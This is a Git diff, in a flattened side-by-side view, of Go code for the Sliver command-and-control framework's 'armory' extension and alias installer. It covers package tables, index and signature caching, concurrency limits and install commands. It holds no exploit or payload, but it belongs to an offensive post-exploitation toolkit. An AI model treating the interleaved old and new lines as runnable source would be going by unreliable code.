ArmoryName string
CommandName string CommandName string
Version string Version string
Type string Type string
@@ -465,10 +284,8 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string URL string
} }
entries := []pkgInfo{} entries := []pkgInfo{}
for _, aliasPkg := range aliases { for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{ entries = append(entries, pkgInfo{
ArmoryName: aliasPkg.ArmoryName,
CommandName: aliasPkg.CommandName, CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version, Version: aliasPkg.Version,
Type: "Alias", Type: "Alias",
@@ -479,7 +296,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
for _, extm := range exts { for _, extm := range exts {
for _, extension := range extm.ExtCommand { for _, extension := range extm.ExtCommand {
entries = append(entries, pkgInfo{ entries = append(entries, pkgInfo{
ArmoryName: extm.ArmoryName,
CommandName: extension.CommandName, CommandName: extension.CommandName,
Version: extension.Manifest.Version, Version: extension.Manifest.Version,
Type: "Extension", Type: "Extension",
@@ -499,7 +315,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
} }
if con.Settings.SmallTermWidth+urlMargin < width { if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{ rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName), fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version), fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type), fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -508,7 +323,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
}) })
} else { } else {
rows = append(rows, table.Row{ rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName), fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version), fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type), fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -521,12 +335,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
} }
// PrintArmoryBundles - Prints the armory bundles // PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal) tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory Name",
"Name", "Name",
"Contains", "Contains",
}) })
@@ -552,7 +365,6 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
} }
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
bundle.ArmoryName,
bundle.Name, bundle.Name,
packages, packages,
}) })
@@ -590,19 +402,12 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
// fetch armory indexes, only returns indexes that were fetched successfully // fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked // errors are still in the cache objects however and can be checked
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex { func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{} wg := &sync.WaitGroup{}
// Try to get a max of 10 indexes at a time for _, armoryConfig := range armoryConfigs {
currentRequests := make(chan struct{}, 10) wg.Add(1)
currentArmories.Range(func(key, value interface{}) bool { go fetchIndex(armoryConfig, clientConfig, wg)
armoryEntry := value.(assets.ArmoryConfig) }
if armoryEntry.Enabled {
wg.Add(1)
currentRequests <- struct{}{}
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
}
return true
})
wg.Wait() wg.Wait()
indexes := []ArmoryIndex{} indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
@@ -615,19 +420,13 @@ func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
return indexes return indexes
} }
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) { func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done() defer wg.Done()
defer func() {
<-requestChannel
}()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey) cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok { if ok {
cached := cacheEntry.(indexCacheEntry) cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache { if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return return
} else if time.Since(cached.Fetched) >= cacheTime {
// If an index has gone stale, remove it from the index cache
indexCache.Delete(armoryConfig.PublicKey)
} }
} }
@@ -664,95 +463,40 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{},
} }
} }
func calculateHashesForIndex(index ArmoryIndex) []string { func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
result := []string{} wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, pkg := range index.Aliases { for _, armoryPkg := range index.Extensions {
result = append(result, calculatePackageHash(pkg)) wg.Add(1)
} armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
for _, pkg := range index.Extensions { }
result = append(result, calculatePackageHash(pkg)) for _, armoryPkg := range index.Aliases {
} wg.Add(1)
armoryPkg.IsAlias = true
return result go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
func makePackageCacheConsistent(index ArmoryIndex) {
packagesToRemove := []string{}
// Get the packages for the armory out of the cache
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
indexHashesForArmory := calculateHashesForIndex(index)
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
// Then there are packages in the cache that do not exist in the armory
if len(indexHashesForArmory) == 0 {
packagesToRemove = cacheHashesForArmory
} else {
for _, packageHash := range indexHashesForArmory {
if !slices.Contains(cacheHashesForArmory, packageHash) {
packagesToRemove = append(packagesToRemove, packageHash)
}
}
} }
} }
// The remaining case of there being packages in the armory that do not exist in the cache
// will have to be solved with fetchPackageSignatures, and that function calls this one
// after fetching signatures and storing them in the cache, so that case should not apply
for _, packageHash := range packagesToRemove {
pkgCache.Delete(packageHash)
}
}
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
// Be kind to armories and limit concurrent requests to 10
// This is an arbritrary number and we may have to tweak it if it causes problems
currentRequests := make(chan struct{}, 10)
for _, armoryPkg := range index.Extensions {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
wg.Wait() wg.Wait()
// If packages were deleted from the index, make sure the cache is consistent
makePackageCacheConsistent(index)
} }
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) { func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done() defer wg.Done()
defer func() { cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
<-requestChannel
}()
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
if ok { if ok {
cached := cacheEntry.(pkgCacheEntry) cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache { if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return return
} else if time.Since(cached.Fetched) >= cacheTime {
// If a package has gone stale, remove it from the package cache
pkgCache.Delete(armoryPkg.ID)
} }
} }
pkgCacheEntry := &pkgCacheEntry{ pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig, ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL, RepoURL: armoryPkg.RepoURL,
ID: armoryPkg.ID,
} }
defer func() { defer func() {
pkgCacheEntry.Fetched = time.Now() pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry) pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}() }()
repoURL, err := url.Parse(armoryPkg.RepoURL) repoURL, err := url.Parse(armoryPkg.RepoURL)
@@ -784,53 +528,19 @@ func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, arm
if armoryPkg != nil { if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg pkgCacheEntry.Pkg = *armoryPkg
} }
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment) manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil { if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err) pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
func clearAllCaches() {
currentArmories.Range(func(key, value any) bool {
currentArmories.Delete(key)
return true
})
indexCache.Range(func(key, value any) bool {
indexCache.Delete(key)
return true
})
pkgCache.Range(func(key, value any) bool {
pkgCache.Delete(key)
return true
})
}
func getArmoryPublicKey(armoryName string) string {
// Find PK for the armory name
armoryPK := ""
currentArmories.Range(func(key, value any) bool {
armoryEntry := value.(assets.ArmoryConfig)
if armoryEntry.Name == armoryName {
armoryPK = armoryEntry.PublicKey
return false
} }
return true if armoryPkg.IsAlias {
}) pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
return armoryPK pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
} }
-211
View File
@@ -1,211 +0,0 @@
package armory
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the `armory` command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
armoryCmd := &cobra.Command{
Use: consts.ArmoryStr,
Short: "Automatically download and install extensions/aliases",
Long: help.GetHelpFor([]string{consts.ArmoryStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) {
f.BoolP("insecure", "I", false, "skip tls certificate validation")
f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)")
f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh")
f.StringP("timeout", "t", "15m", "download timeout")
})
flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) {
(*comp)["proxy"] = completers.LocalProxyCompleter()
})
armoryInstallCmd := &cobra.Command{
Use: consts.InstallStr,
Short: "Install an alias or extension",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInstallCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
f.StringP("armory", "a", "", "name of armory to install package from")
})
armoryCmd.AddCommand(armoryInstallCmd)
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
)
armoryUpdateCmd := &cobra.Command{
Use: consts.UpdateStr,
Short: "Update installed aliases and extensions",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryUpdateCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
f.StringP("armory", "a", "", "name of armory to get updates from")
})
armoryCmd.AddCommand(armoryUpdateCmd)
armorySearchCmd := &cobra.Command{
Use: consts.SearchStr,
Short: "Search for aliases and extensions by name (regex)",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ArmorySearchCmd(cmd, con, args)
},
}
armoryCmd.AddCommand(armorySearchCmd)
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
armoryInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "View configured armories or details about a specific armory or package",
Args: cobra.RangeArgs(0, 1),
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInfoCommand(cmd, con, args)
},
}
armoryCmd.AddCommand(armoryInfoCmd)
carapace.Gen(armoryInfoCmd).PositionalCompletion(
carapace.ActionValues().Usage("armory or package name"),
)
armoryAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a new armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
AddArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
f.StringP("url", "u", "", "The URL of the armory index (required)")
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
})
armoryAddCmd.MarkFlagRequired("url")
armoryAddCmd.MarkFlagRequired("pubkey")
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryAddCmd)
armoryRemoveCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
RemoveArmoryCmd(cmd, con, args)
},
}
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryRemoveCmd)
armorySaveCmd := &cobra.Command{
Use: consts.SaveStr,
Short: "Save the armory configuration to disk",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
Run: func(cmd *cobra.Command, args []string) {
SaveArmories(con)
},
}
armoryCmd.AddCommand(armorySaveCmd)
armoryEnableCmd := &cobra.Command{
Use: consts.EnableStr,
Short: "Enable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, true)
},
}
carapace.Gen(armoryEnableCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryEnableCmd)
armoryDisableCmd := &cobra.Command{
Use: consts.DisableStr,
Short: "Disable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, false)
},
}
carapace.Gen(armoryDisableCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryDisableCmd)
armoryModifyCmd := &cobra.Command{
Use: consts.ModifyStr,
Short: "Modify an armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ModifyArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "new name for the armory")
f.StringP("pubkey", "k", "", "new public key for the armory")
f.StringP("url", "u", "", "new URL for the armory")
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
})
carapace.Gen(armoryModifyCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryModifyCmd)
armoryRefreshCmd := &cobra.Command{
Use: consts.RefreshStr,
Short: "Refresh armory indexes",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
Run: func(cmd *cobra.Command, args []string) {
RefreshArmories(cmd, con)
},
}
armoryCmd.AddCommand(armoryRefreshCmd)
armoryResetCmd := &cobra.Command{
Use: consts.ResetStr,
Short: "Reset armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
Run: func(cmd *cobra.Command, args []string) {
ResetArmoryConfig(cmd, con)
},
}
armoryCmd.AddCommand(armoryResetCmd)
return []*cobra.Command{armoryCmd}
}
+99 -390
View File
@@ -19,444 +19,122 @@ package armory
*/ */
import ( import (
"encoding/json"
"errors" "errors"
"fmt" "fmt"
"net/url" "net/url"
"os" "os"
"path/filepath" "path/filepath"
"slices"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/minisign" "github.com/bishopfox/sliver/util/minisign"
) )
// ErrPackageNotFound - The package was not found // ErrPackageNotFound - The package was not found
var ErrPackageNotFound = errors.New("package not found") var ErrPackageNotFound = errors.New("package not found")
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
const (
doNotInstallOption = "Do not install this package"
doNotInstallPackageName = "do not install"
)
// ArmoryInstallCmd - The armory install command // ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var promptToOverwrite bool
name := args[0] name := args[0]
// name := ctx.Args.String("name")
if name == "" { if name == "" {
con.PrintErrorf("A package or bundle name is required") con.PrintErrorf("A package or bundle name is required")
return return
} }
forceInstallation, err := cmd.Flags().GetBool("force")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
return
}
if forceInstallation {
promptToOverwrite = false
} else {
promptToOverwrite = true
}
armoryName, err := cmd.Flags().GetString("armory")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
return
}
// Find PK for the armory name
armoryPK := getArmoryPublicKey(armoryName)
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig) refresh(clientConfig)
if name == "all" { if name == "all" {
aliases, extensions := packageManifestsInCache() aliases, extensions := packagesInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
prompt := &survey.Confirm{ prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?", Message: fmt.Sprintf("Install %d aliases and %d extensions?",
aliasCount, pluralAliases, extCount, pluralExtensions, len(aliases), len(extensions),
), ),
} }
survey.AskOne(prompt, &confirm) survey.AskOne(prompt, &confirm)
if !confirm { if !confirm {
return return
} }
promptToOverwrite = false
} }
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con) err := installPackageByName(name, clientConfig, con)
if err == nil { if err == nil {
return return
} }
if errors.Is(err, ErrPackageNotFound) { if err == ErrPackageNotFound {
bundles := bundlesInCache() bundles := bundlesInCache()
for _, bundle := range bundles { for _, bundle := range bundles {
if bundle.Name == name { if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con) installBundle(bundle, clientConfig, con)
return
}
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
}
}
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
installList := []string{}
pendingPackages := make(map[string]string)
for _, bundlePkgName := range bundle.Packages {
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
if err != nil {
if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
continue
} else {
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
return
}
}
for _, pkgID := range packageInstallList {
if !slices.Contains(installList, pkgID) {
installList = append(installList, pkgID)
}
}
}
for _, packageID := range installList {
packageEntry := packageCacheLookupByID(packageID)
if packageEntry == nil {
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
return
}
if packageEntry.Pkg.IsAlias {
err := installAliasPackage(packageEntry, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
return
}
} else {
err := installExtensionPackage(packageEntry, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
return return
} }
} }
} }
con.PrintErrorf("No package or bundle named '%s' was found", name)
} }
func getInstalledPackageNames() []string { func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
packageNames := []string{} for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
installedAliases := assets.GetInstalledAliasManifests()
installedExtensions := assets.GetInstalledExtensionManifests()
for _, aliasFileName := range installedAliases {
alias := &alias.AliasManifest{}
manifestData, err := os.ReadFile(aliasFileName)
if err != nil { if err != nil {
continue con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
err = json.Unmarshal(manifestData, alias)
if err != nil {
continue
}
if !slices.Contains(packageNames, alias.CommandName) {
packageNames = append(packageNames, alias.CommandName)
} }
} }
for _, extensionFileName := range installedExtensions {
extension := &extensions.ExtensionManifest{}
manifestData, err := os.ReadFile(extensionFileName)
if err != nil {
continue
}
err = json.Unmarshal(manifestData, extension)
if err != nil {
continue
}
if len(extension.ExtCommand) == 0 {
extensionOld := &extensions.ExtensionManifest_{}
// Some extension manifests are using an older version
// To maintain compatibility with those extensions, we will
// re-unmarshal the data as the older version
err = json.Unmarshal(manifestData, extensionOld)
if err != nil {
continue
}
if !slices.Contains(packageNames, extensionOld.CommandName) {
packageNames = append(packageNames, extensionOld.CommandName)
}
} else {
for _, command := range extension.ExtCommand {
if !slices.Contains(packageNames, command.CommandName) {
packageNames = append(packageNames, command.CommandName)
}
}
}
}
return packageNames
} }
// This is a convenience function to get the names of the commands in the cache func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
func getCommandsInCache() []string { aliases, extensions := packagesInCache()
commandNames := []string{} for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
pkgCache.Range(func(key, value interface{}) bool { installAlias(alias, clientConfig, con)
cacheEntry := value.(pkgCacheEntry) if name != "all" {
if cacheEntry.LastErr == nil { return nil
if cacheEntry.Pkg.IsAlias {
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if !slices.Contains(commandNames, command.CommandName) {
commandNames = append(commandNames, command.CommandName)
}
}
} }
} }
return true
})
return commandNames
}
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
packages := []*pkgCacheEntry{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
if cacheEntry.Alias.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
}
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if command.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
break
}
}
}
}
}
return true
})
return packages
}
func getPackageIDFromUser(name string, options map[string]string) string {
selectedPackageKey := ""
optionKeys := util.Keys(options)
slices.Sort(optionKeys)
// Add a cancel option
optionKeys = append(optionKeys, doNotInstallOption)
options[doNotInstallOption] = doNotInstallPackageName
prompt := &survey.Select{
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
Options: optionKeys,
}
survey.AskOne(prompt, &selectedPackageKey)
selectedPackageID := options[selectedPackageKey]
return selectedPackageID
}
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
if len(packagesWithCommand) > 1 {
// Build an option map for the user to choose from (option -> pkgID)
optionMap := make(map[string]string)
for _, packageEntry := range packagesWithCommand {
var optionName string
if packageEntry.Pkg.IsAlias {
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
name,
packageEntry.Alias.Version,
packageEntry.ArmoryConfig.Name,
packageEntry.Pkg.RepoURL,
)
} else {
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
packageEntry.Pkg.Name,
packageEntry.Extension.Version,
packageEntry.ArmoryConfig.Name,
name,
packageEntry.Pkg.RepoURL,
)
}
optionMap[optionName] = packageEntry.ID
}
selectedPackageID := getPackageIDFromUser(name, optionMap)
if selectedPackageID == doNotInstallPackageName {
return nil, fmt.Errorf("user cancelled installation")
}
for _, packageEntry := range packagesWithCommand {
if packageEntry.ID == selectedPackageID {
return packageEntry, nil
}
}
} else if len(packagesWithCommand) == 1 {
return packagesWithCommand[0], nil
}
return nil, ErrPackageNotFound
}
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
packageInstallList := []string{}
installedPackages := getInstalledPackageNames()
/*
Gather information about what we are working with
Find all conflicts within aliases for a given name (or all names), same thing with extensions
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
*/
var requestedPackageList []string
if name == "all" {
requestedPackageList = []string{}
allCommands := getCommandsInCache()
for _, cmdName := range allCommands {
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[cmdName]; !ok {
requestedPackageList = append(requestedPackageList, cmdName)
}
}
}
} else {
if !slices.Contains(installedPackages, name) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[name]; !ok {
requestedPackageList = []string{name}
}
} else {
return nil, ErrPackageAlreadyInstalled
}
} }
for _, extm := range extensions {
for _, packageName := range requestedPackageList { for _, ext := range extm.ExtCommand {
if _, ok := pendingPackages[packageName]; ok { if ext.CommandName == name || name == "all" {
// We are already going to install a package with this name, so do not try to resolve it installExtension(ext.Manifest, clientConfig, con)
